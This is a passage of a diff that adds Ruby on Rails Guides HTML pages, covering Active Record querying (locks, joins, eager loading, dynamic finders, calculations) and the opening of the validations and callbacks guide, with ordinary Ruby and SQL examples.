+Item Update (0.4ms)   UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1
+SQL (0.8ms)   COMMIT
+</pre>
+</div>
+</notextile>
+
+<p>You can also pass raw <span class="caps">SQL</span> to the <tt>lock</tt> method for allowing different types of locks. For example, MySQL has an expression called <tt>LOCK IN SHARE MODE</tt> where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Item.transaction do
+  i = Item.lock(&quot;LOCK IN SHARE MODE&quot;).find(1)
+  i.increment!(:views)
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="joining-tables">3 Joining Tables</h3>
+<p>Active Record provides a finder method called <tt>joins</tt> for specifying <tt>JOIN</tt> clauses on the resulting <span class="caps">SQL</span>. There are multiple ways to use the <tt>joins</tt> method.</p>
+<h4 id="using-a-string-sql-fragment">3.1 Using a String <span class="caps">SQL</span> Fragment</h4>
+<p>You can just supply the raw <span class="caps">SQL</span> specifying the <tt>JOIN</tt> clause to <tt>joins</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.joins('LEFT OUTER JOIN addresses ON addresses.client_id = clients.id')
+</pre>
+</div>
+</notextile>
+
+<p>This will result in the following <span class="caps">SQL</span>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = clients.id
+</pre>
+</div>
+</notextile>
+
+<h4 id="using-array-hash-of-named-associations">3.2 Using Array/Hash of Named Associations</h4>
+<div class='warning'><p>This method only works with <tt>INNER JOIN</tt>,</p></div>
+<p><br /></p>
+<p>Active Record lets you use the names of the <a href="association_basics.html">associations</a> defined on the model as a shortcut for specifying <tt>JOIN</tt> clause for those associations when using the <tt>joins</tt> method.</p>
+<p>For example, consider the following <tt>Category</tt>, <tt>Post</tt>, <tt>Comments</tt> and <tt>Guest</tt> models:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Category &lt; ActiveRecord::Base
+  has_many :posts
+end
+
+class Post &lt; ActiveRecord::Base
+  belongs_to :category
+  has_many :comments
+  has_many :tags
+end
+
+class Comments &lt; ActiveRecord::Base
+  belongs_to :post
+  has_one :guest
+end
+
+class Guest &lt; ActiveRecord::Base
+  belongs_to :comment
+end
+</pre>
+</div>
+</notextile>
+
+<p>Now all of the following will produce the expected join queries using <tt>INNER JOIN</tt>:</p>
+<h5 id="joining-a-single-association">3.2.1 Joining a Single Association</h5>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Category.joins(:posts)
+</pre>
+</div>
+</notextile>
+
+<p>This produces:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT categories.* FROM categories
+  INNER JOIN posts ON posts.category_id = categories.id
+</pre>
+</div>
+</notextile>
+
+<h5 id="joining-multiple-associations">3.2.2 Joining Multiple Associations</h5>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Post.joins(:category, :comments)
+</pre>
+</div>
+</notextile>
+
+<p>This produces:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT posts.* FROM posts
+  INNER JOIN categories ON posts.category_id = categories.id
+  INNER JOIN comments ON comments.post_id = posts.id
+</pre>
+</div>
+</notextile>
+
+<h5 id="joining-nested-associations-single-level">3.2.3 Joining Nested Associations (Single Level)</h5>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Post.joins(:comments =&gt; :guest)
+</pre>
+</div>
+</notextile>
+
+<h5 id="joining-nested-associations-multiple-level">3.2.4 Joining Nested Associations (Multiple Level)</h5>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Category.joins(:posts =&gt; [{:comments =&gt; :guest}, :tags])
+</pre>
+</div>
+</notextile>
+
+<h4 id="specifying-conditions-on-the-joined-tables">3.3 Specifying Conditions on the Joined Tables</h4>
+<p>You can specify conditions on the joined tables using the regular <a href="#array-conditions">Array</a> and <a href="#pure-string-conditions">String</a> conditions. <a href="#hash-conditions">Hash conditions</a> provides a special syntax for specifying conditions for the joined tables:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.joins(:orders).where('orders.created_at' =&gt; time_range)
+</pre>
+</div>
+</notextile>
+
+<p>An alternative and cleaner syntax is to nest the hash conditions:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.joins(:orders).where(:orders =&gt; {:created_at =&gt; time_range})
+</pre>
+</div>
+</notextile>
+
+<p>This will find all clients who have orders that were created yesterday, again using a <tt>BETWEEN</tt> <span class="caps">SQL</span> expression.</p>
+<h3 id="eager-loading-associations">4 Eager Loading Associations</h3>
+<p>Eager loading is the mechanism for loading the associated records of the objects returned by <tt>Model.find</tt> using as few queries as possible.</p>
+<p><strong>N + 1 queries problem</strong></p>
+<p>Consider the following code, which finds 10 clients and prints their postcodes:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+clients = Client.all(:limit =&gt; 10)
+
+clients.each do |client|
+  puts client.address.postcode
+end
+</pre>
+</div>
+</notextile>
+
+<p>This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 ( to find 10 clients ) + 10 ( one per each client to load the address ) = <strong>11</strong> queries in total.</p>
+<p><strong>Solution to N + 1 queries problem</strong></p>
+<p>Active Record lets you specify in advance all the associations that are going to be loaded. This is possible by specifying the <tt>includes</tt> method of the <tt>Model.find</tt> call. With <tt>includes</tt>, Active Record ensures that all of the specified associations are loaded using the minimum possible number of queries.</p>
+<p>Revisiting the above case, we could rewrite <tt>Client.all</tt> to use eager load addresses:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+clients = Client.includes(:address).limit(10)
+
+clients.each do |client|
+  puts client.address.postcode
+end
+</pre>
+</div>
+</notextile>
+
+<p>The above code will execute just <strong>2</strong> queries, as opposed to <strong>11</strong> queries in the previous case:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT * FROM clients LIMIT 10
+SELECT addresses.* FROM addresses
+  WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))
+</pre>
+</div>
+</notextile>
+
+<h4 id="eager-loading-multiple-associations">4.1 Eager Loading Multiple Associations</h4>
+<p>Active Record lets you eager load any number of associations with a single <tt>Model.find</tt> call by using an array, hash, or a nested hash of array/hash with the <tt>includes</tt> method.</p>
+<h5 id="array-of-multiple-associations">4.1.1 Array of Multiple Associations</h5>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Post.includes(:category, :comments)
+</pre>
+</div>
+</notextile>
+
+<p>This loads all the posts and the associated category and comments for each post.</p>
+<h5 id="nested-associations-hash">4.1.2 Nested Associations Hash</h5>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Category.includes(:posts =&gt; [{:comments =&gt; :guest}, :tags]).find(1)
+</pre>
+</div>
+</notextile>
+
+<p>This will find the category with id 1 and eager load all of the associated posts, the associated posts&#8217; tags and comments, and every comment&#8217;s guest association.</p>
+<h4 id="specifying-conditions-on-eager-loaded-associations">4.2 Specifying Conditions on Eager Loaded Associations</h4>
+<p>Even though Active Record lets you specify conditions on the eager loaded associations just like <tt>joins</tt>, the recommended way is to use <a href="#joining-tables">joins</a> instead.</p>
+<h3 id="dynamic-finders">5 Dynamic Finders</h3>
+<p>For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called <tt>first_name</tt> on your <tt>Client</tt> model for example, you get <tt>find_by_first_name</tt> and <tt>find_all_by_first_name</tt> for free from Active Record. If you have also have a <tt>locked</tt> field on the <tt>Client</tt> model, you also get <tt>find_by_locked</tt> and <tt>find_all_by_locked</tt>.</p>
+<p>You can do <tt>find_last_by_*</tt> methods too which will find the last record matching your argument.</p>
+<p>You can specify an exclamation point (<tt>!</tt>) on the end of the dynamic finders to get them to raise an <tt>ActiveRecord::RecordNotFound</tt> error if they do not return any records, like <tt>Client.find_by_name!("Ryan")</tt></p>
+<p>If you want to find both by name and locked, you can chain these finders together by simply typing <tt>and</tt> between the fields for example <tt>Client.find_by_first_name_and_locked("Ryan", true)</tt>.</p>
+<p>There&#8217;s another set of dynamic finders that let you find or create/initialize objects if they aren&#8217;t found. These work in a similar fashion to the other finders and can be used like <tt>find_or_create_by_first_name(params[:first_name])</tt>. Using this will first perform a find and then create if the find returns <tt>nil</tt>. The <span class="caps">SQL</span> looks like this for <tt>Client.find_or_create_by_first_name("Ryan")</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT * FROM clients WHERE (clients.first_name = 'Ryan') LIMIT 1
+BEGIN
+INSERT INTO clients (first_name, updated_at, created_at, orders_count, locked)
+  VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', 0, '0')
+COMMIT
+</pre>
+</div>
+</notextile>
+
+<p><tt>find_or_create</tt>&#8217;s sibling, <tt>find_or_initialize</tt>, will find an object and if it does not exist will act similarly to calling <tt>new</tt> with the arguments you passed in. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+client = Client.find_or_initialize_by_first_name('Ryan')
+</pre>
+</div>
+</notextile>
+
+<p>will either assign an existing client object with the name &#8220;Ryan&#8221; to the client local variable, or initialize a new object similar to calling <tt>Client.new(:first_name => 'Ryan')</tt>. From here, you can modify other fields in client by calling the attribute setters on it: <tt>client.locked = true</tt> and when you want to write it to the database just call <tt>save</tt> on it.</p>
+<h3 id="finding-by-sql">6 Finding by <span class="caps">SQL</span></h3>
+<p>If you&#8217;d like to use your own <span class="caps">SQL</span> to find records in a table you can use <tt>find_by_sql</tt>. The <tt>find_by_sql</tt> method will return an array of objects even if the underlying query returns just a single record. For example you could run this query:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.find_by_sql(&quot;SELECT * FROM clients
+  INNER JOIN orders ON clients.id = orders.client_id
+  ORDER clients.created_at desc&quot;)
+</pre>
+</div>
+</notextile>
+
+<p><tt>find_by_sql</tt> provides you with a simple way of making custom calls to the database and retrieving instantiated objects.</p>
+<h3 id="select_all">7 <tt>select_all</tt></h3>
+<p><tt>find_by_sql</tt> has a close relative called <tt>connection#select_all</tt>. <tt>select_all</tt> will retrieve objects from the database using custom <span class="caps">SQL</span> just like <tt>find_by_sql</tt> but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.connection.select_all(&quot;SELECT * FROM clients WHERE id = '1'&quot;)
+</pre>
+</div>
+</notextile>
+
+<h3 id="existence-of-objects">8 Existence of Objects</h3>
+<p>If you simply want to check for the existence of the object there&#8217;s a method called <tt>exists?</tt>. This method will query the database using the same query as <tt>find</tt>, but instead of returning an object or collection of objects it will return either <tt>true</tt> or <tt>false</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.exists?(1)
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>exists?</tt> method also takes multiple ids, but the catch is that it will return true if any one of those records exists.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.exists?(1,2,3)
+# or
+Client.exists?([1,2,3])
+</pre>
+</div>
+</notextile>
+
+<p>It&#8217;s even possible to use <tt>exists?</tt> without any arguments on a model or a relation.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.where(:first_name =&gt; 'Ryan').exists?
+</pre>
+</div>
+</notextile>
+
+<p>The above returns <tt>true</tt> if there is at least one client with the <tt>first_name</tt> &#8216;Ryan&#8217; and <tt>false</tt> otherwise.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.exists?
+</pre>
+</div>
+</notextile>
+
+<p>The above returns <tt>false</tt> if the <tt>clients</tt> table is empty and <tt>true</tt> otherwise.</p>
+<h3 id="calculations">9 Calculations</h3>
+<p>This section uses count as an example method in this preamble, but the options described apply to all sub-sections.</p>
+<p>All calculation methods work directly on a model:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.count
+# SELECT count(*) AS count_all FROM clients
+</pre>
+</div>
+</notextile>
+
+<p>Or on a relation :</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.where(:first_name =&gt; 'Ryan').count
+# SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
+</pre>
+</div>
+</notextile>
+
+<p>You can also use various finder methods on a relation for performing complex calculations:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.includes(&quot;orders&quot;).where(:first_name =&gt; 'Ryan', :orders =&gt; {:status =&gt; 'received'}).count
+</pre>
+</div>
+</notextile>
+
+<p>Which will execute:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: sql; gutter: false; toolbar: false">
+SELECT count(DISTINCT clients.id) AS count_all FROM clients
+  LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
+  (clients.first_name = 'Ryan' AND orders.status = 'received')
+</pre>
+</div>
+</notextile>
+
+<h4 id="count">9.1 Count</h4>
+<p>If you want to see how many records are in your model&#8217;s table you could call <tt>Client.count</tt> and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use <tt>Client.count(:age)</tt>.</p>
+<p>For options, please see the parent section, <a href="#calculations">Calculations</a>.</p>
+<h4 id="average">9.2 Average</h4>
+<p>If you want to see the average of a certain number in one of your tables you can call the <tt>average</tt> method on the class that relates to the table. This method call will look something like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.average(&quot;orders_count&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.</p>
+<p>For options, please see the parent section, <a href="#calculations">Calculations</a>.</p>
+<h4 id="minimum">9.3 Minimum</h4>
+<p>If you want to find the minimum value of a field in your table you can call the <tt>minimum</tt> method on the class that relates to the table. This method call will look something like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.minimum(&quot;age&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>For options, please see the parent section, <a href="#calculations">Calculations</a>.</p>
+<h4 id="maximum">9.4 Maximum</h4>
+<p>If you want to find the maximum value of a field in your table you can call the <tt>maximum</tt> method on the class that relates to the table. This method call will look something like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.maximum(&quot;age&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>For options, please see the parent section, <a href="#calculations">Calculations</a>.</p>
+<h4 id="sum">9.5 Sum</h4>
+<p>If you want to find the sum of a field for all records in your table you can call the <tt>sum</tt> method on the class that relates to the table. This method call will look something like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Client.sum(&quot;orders_count&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>For options, please see the parent section,  <a href="#calculations">Calculations</a>.</p>
+<h3 id="changelog">10 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16">Lighthouse ticket</a></p>
+<ul>
+	<li>April 7, 2010: Fixed document to validate <span class="caps">XHTML</span> 1.0 Strict. <a href="http://jaimeiniesta.com">Jaime Iniesta</a></li>
+	<li>February 3, 2010: Update to Rails 3 by <a href="credits.html#bensie">James Miller</a></li>
+	<li>February 7, 2009: Second version by <a href="credits.html#lifo">Pratik</a></li>
+	<li>December 29 2008: Initial version by <a href="credits.html#radar">Ryan Bigg</a></li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/active_record_validations_callbacks.html
@@ -0,0 +1,1360 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Active Record Validations and Callbacks</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Active Record Validations and Callbacks</h2>
+<p>This guide teaches you how to hook into the life cycle of your Active Record objects. You will learn how to validate the state of objects before they go into the database, and how to perform custom operations at certain points in the object life cycle.</p>
+<p>After reading this guide and trying out the presented concepts, we hope that you&#8217;ll be able to:</p>
+<ul>
+	<li>Understand the life cycle of Active Record objects</li>
+	<li>Use the built-in Active Record validation helpers</li>
+	<li>Create your own custom validation methods</li>
+	<li>Work with the error messages generated by the validation process</li>
+	<li>Create callback methods that respond to events in the object life cycle</li>
+	<li>Create special classes that encapsulate common behavior for your callbacks</li>
+	<li>Create Observers that respond to life cycle events outside of the original class</li>
+</ul>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#the-object-life-cycle">The Object Life Cycle</a></li><li><a href="#validations-overview">Validations Overview</a><ul><li><a href="#why-use-validations">Why Use Validations?</a></li> <li><a href="#when-does-validation-happen">When Does Validation Happen?</a></li> <li><a href="#skipping-validations">Skipping Validations</a></li> <li><a href="#valid-and-invalid"><tt>valid?</tt> and <tt>invalid?</tt></a></li> <li><a href="#validations_overview-errors"><tt>errors[]</tt></a></li></ul></li><li><a href="#validation-helpers">Validation Helpers</a><ul><li><a href="#validates_acceptance_of"><tt>validates_acceptance_of</tt></a></li> <li><a href="#validates_associated"><tt>validates_associated</tt></a></li> <li><a href="#validates_confirmation_of"><tt>validates_confirmation_of</tt></a></li> <li><a href="#validates_exclusion_of"><tt>validates_exclusion_of</tt></a></li> <li><a href="#validates_format_of"><tt>validates_format_of</tt></a></li> <li><a href="#validates_inclusion_of"><tt>validates_inclusion_of</tt></a></li> <li><a href="#validates_length_of"><tt>validates_length_of</tt></a></li> <li><a href="#validates_numericality_of"><tt>validates_numericality_of</tt></a></li> <li><a href="#validates_presence_of"><tt>validates_presence_of</tt></a></li> <li><a href="#validates_uniqueness_of"><tt>validates_uniqueness_of</tt></a></li> <li><a href="#validates_with"><tt>validates_with</tt></a></li> <li><a href="#validates_each"><tt>validates_each</tt></a></li></ul></li><li><a href="#common-validation-options">Common Validation Options</a><ul><li><a href="#allow_nil"><tt>:allow_nil</tt></a></li> <li><a href="#allow_blank"><tt>:allow_blank</tt></a></li> <li><a href="#message"><tt>:message</tt></a></li> <li><a href="#on"><tt>:on</tt></a></li></ul></li><li><a href="#conditional-validation">Conditional Validation</a><ul><li><a href="#using-a-symbol-with-if-and-unless">Using a Symbol with <tt>:if</tt> and <tt>:unless</tt></a></li> <li><a href="#using-a-string-with-if-and-unless">Using a String with <tt>:if</tt> and <tt>:unless</tt></a></li> <li><a href="#using-a-proc-with-if-and-unless">Using a Proc with <tt>:if</tt> and <tt>:unless</tt></a></li></ul></li><li><a href="#creating-custom-validation-methods">Creating Custom Validation Methods</a></li><li><a href="#working-with-validation-errors">Working with Validation Errors</a><ul><li><a href="#working_with_validation_errors-errors"><tt>errors</tt></a></li> <li><a href="#working_with_validation_errors-errors-2"><tt>errors[]</tt></a></li> <li><a href="#errors-add"><tt>errors.add</tt></a></li> <li><a href="#errors-base"><tt>errors[:base]</tt></a></li> <li><a href="#errors-clear"><tt>errors.clear</tt></a></li> <li><a href="#errors-size"><tt>errors.size</tt></a></li></ul></li><li><a href="#displaying-validation-errors-in-the-view">Displaying Validation Errors in the View</a><ul><li><a href="#error_messages-and-error_messages_for"><tt>error_messages</tt> and <tt>error_messages_for</tt></a></li> <li><a href="#customizing-the-error-messages-css">Customizing the Error Messages <span class="caps">CSS</span></a></li> <li><a href="#customizing-the-error-messages-html">Customizing the Error Messages <span class="caps">HTML</span></a></li></ul></li><li><a href="#callbacks-overview">Callbacks Overview</a><ul><li><a href="#callback-registration">Callback Registration</a></li></ul></li><li><a href="#available-callbacks">Available Callbacks</a><ul><li><a href="#creating-an-object">Creating an Object</a></li> <li><a href="#updating-an-object">Updating an Object</a></li> <li><a href="#destroying-an-object">Destroying an Object</a></li> <li><a href="#after_initialize-and-after_find"><tt>after_initialize</tt> and <tt>after_find</tt></a></li></ul></li><li><a href="#running-callbacks">Running Callbacks</a></li><li><a href="#skipping-callbacks">Skipping Callbacks</a></li><li><a href="#halting-execution">Halting Execution</a></li><li><a href="#relational-callbacks">Relational Callbacks</a></li><li><a href="#conditional-callbacks">Conditional Callbacks</a><ul><li><a href="#using-if-and-unless-with-a-symbol">Using <tt>:if</tt> and <tt>:unless</tt> with a Symbol</a></li> <li><a href="#using-if-and-unless-with-a-string">Using <tt>:if</tt> and <tt>:unless</tt> with a String</a></li> <li><a href="#using-if-and-unless-with-a-proc">Using <tt>:if</tt> and <tt>:unless</tt> with a Proc</a></li> <li><a href="#multiple-conditions-for-callbacks">Multiple Conditions for Callbacks</a></li></ul></li><li><a href="#callback-classes">Callback Classes</a></li><li><a href="#observers">Observers</a><ul><li><a href="#creating-observers">Creating Observers</a></li> <li><a href="#registering-observers">Registering Observers</a></li> <li><a href="#sharing-observers">Sharing Observers</a></li></ul></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="the-object-life-cycle">1 The Object Life Cycle</h3>
+<p>During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this <em>object life cycle</em> so that you can control your application and its data.</p>
+<p>Validations allow you to ensure that only valid data is stored in your database. Callbacks and observers allow you to trigger logic before or after an alteration of an object&#8217;s state.</p>
+<h3 id="validations-overview">2 Validations Overview</h3>
+<p>Before you dive into the detail of validations in Rails, you should understand a bit about how validations fit into the big picture.</p>
+<h4 id="why-use-validations">2.1 Why Use Validations?</h4>
+<p>Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address.</p>
+<p>There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations.</p>
+<ul>
+	<li>Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise.</li>
+	<li>Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user&#8217;s browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site.</li>
+	<li>Controller-level validations can be tempting to use, but often become unwieldy and difficult to test and maintain. Whenever possible, it&#8217;s a good idea to <a href="http://weblog.jamisbuck.org/2006/10/18/skinny-controller-fat-model">keep your controllers skinny</a>, as it will make your application a pleasure to work with in the long run.</li>
+	<li>Model-level validations are the best way to ensure that only valid data is saved into your database. They are database agnostic, cannot be bypassed by end users, and are convenient to test and maintain. Rails makes them easy to use, provides built-in helpers for common needs, and allows you to create your own validation methods as well.</li>
+</ul>
+<h4 id="when-does-validation-happen">2.2 When Does Validation Happen?</h4>
+<p>There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, for example using the <tt>new</tt> method, that object does not belong to the database yet. Once you call <tt>save</tt> upon that object it will be saved into the appropriate database table. Active Record uses the <tt>new_record?</tt> instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Person &lt; ActiveRecord::Base
+end
+</pre>
+</div>
+</notextile>
+
+<p>We can see how it works by looking at some <tt>rails console</tt> output:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+&gt;&gt; p = Person.new(:name =&gt; &quot;John Doe&quot;)
+=&gt; #&lt;Person id: nil, name: &quot;John Doe&quot;, created_at: nil, :updated_at: nil&gt;
+&gt;&gt; p.new_record?
+=&gt; true
+&gt;&gt; p.save
+=&gt; true
